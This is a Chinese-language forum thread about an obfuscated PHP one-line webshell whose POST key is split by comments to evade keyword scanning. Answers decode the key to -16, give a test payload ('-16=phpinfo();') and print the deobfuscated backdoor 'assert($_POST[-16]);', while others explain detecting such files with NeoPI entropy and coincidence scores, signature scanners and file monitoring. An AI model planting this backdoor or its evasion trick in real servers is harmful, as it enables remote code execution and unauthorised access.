標籤:

一個有意思的 PHP 一句話後門,怎麼破?

看到一個有意思的php一句話:

&

原作者在做免殺時把密碼值也拆了,導致[ ]中密碼無論是/*-/*-*/0/*-/*-*/-/*-/*-*/11/*-/*-*/-/*-/*-*/5/*-/*-*/還是0-11-5都無法連接(菜刀要先把主資料庫對應欄位文本長度從原50更改到80,否則會異常退出),嘗試抓包分析了下,無解,想請問各位牛,怎麼破?又或者根本無法破,原因何在?


我覺得題主應該是問的密碼是多少吧,這個一句話後面注釋全部去掉之後,POST數組的key其實是一個算術運算

0-11-5

最終結果是-16

你可以post數據如下:

-16=phpinfo();

就知道了。

另外,NeoPI查殺腳本木馬,我不認為是一個很好的方式,腳本後門在原本的文件里,加個邏輯漏洞,或者加個寫文件等等函數之類的他完全無力,尋找加密編碼的腳本還不錯。

查殺腳本木馬的話drops有篇文章,可以看一下:

"一句話"的藝術——簡單的編碼和變形繞過檢測

以及:

常見 Webshell 的檢測方法及檢測繞過思路


這一點也談不上新奇,也談不上是我見過的最變態的PHP後門。

如果有伺服器許可權,可以掃描文件的話(作為管理員沒道理不行吧?),這類後門會被一類使用統計方法(計算包括信息熵、Index of Coincidence在內的一系列統計指標)的檢測工具直接干爆。給一個很簡單的例子:Neohapsis/NeoPI · GitHub

使用這個Python腳本檢查這個文件:

[[ Average IC for Search ]]
0.139386719155

[[ Top 10 lowest IC files ]]
0.1394 ./test/test.php

[[ Top 10 entropic files for a given search ]]
3.5443 ./test/test.php

[[ Top 10 longest word files ]]
60 ./test/test.php

[[ Top 10 signature match counts ]]
0 ./test/test.php

[[ Top 10 SUPER-signature match counts (These are usually bad!) ]]
0 ./test/test.php

[[ Top cumulative ranked files ]]
5 ./test/test.php

單獨掃描可能看不出什麼,但是把它放在一個PHP框架里,你就會發現這個文件肯定位列前幾名,尤其是entropy和IC兩個項目。

這個腳本還算比較簡單的,但已經堪用了,再配合上一些基於指紋資料庫的掃描器,一般很難有漏網之魚了。我相信,更強大一些的掃描器都是會綜合使用資料庫和統計方法的。

最後,更可靠的方法當然還是文件監視和版本控制了。


&assert($_POST[-16]);

?&>


/*-/*-*/ 注釋 :)


可以關注這裡:那些強悍的PHP一句話後門


僅僅是字元拆分,躲避關鍵函數名查殺。


推薦閱讀:

黑客們會帶徒弟嗎?
有哪些靠譜的伺服器安全軟體?
有哪些值得推薦的有關信息安全的網站?
GeekPwn 2017 有哪些看點?
如何在網路安全這條路上走得更遠?

TAG:PHP | 黑客Hacker |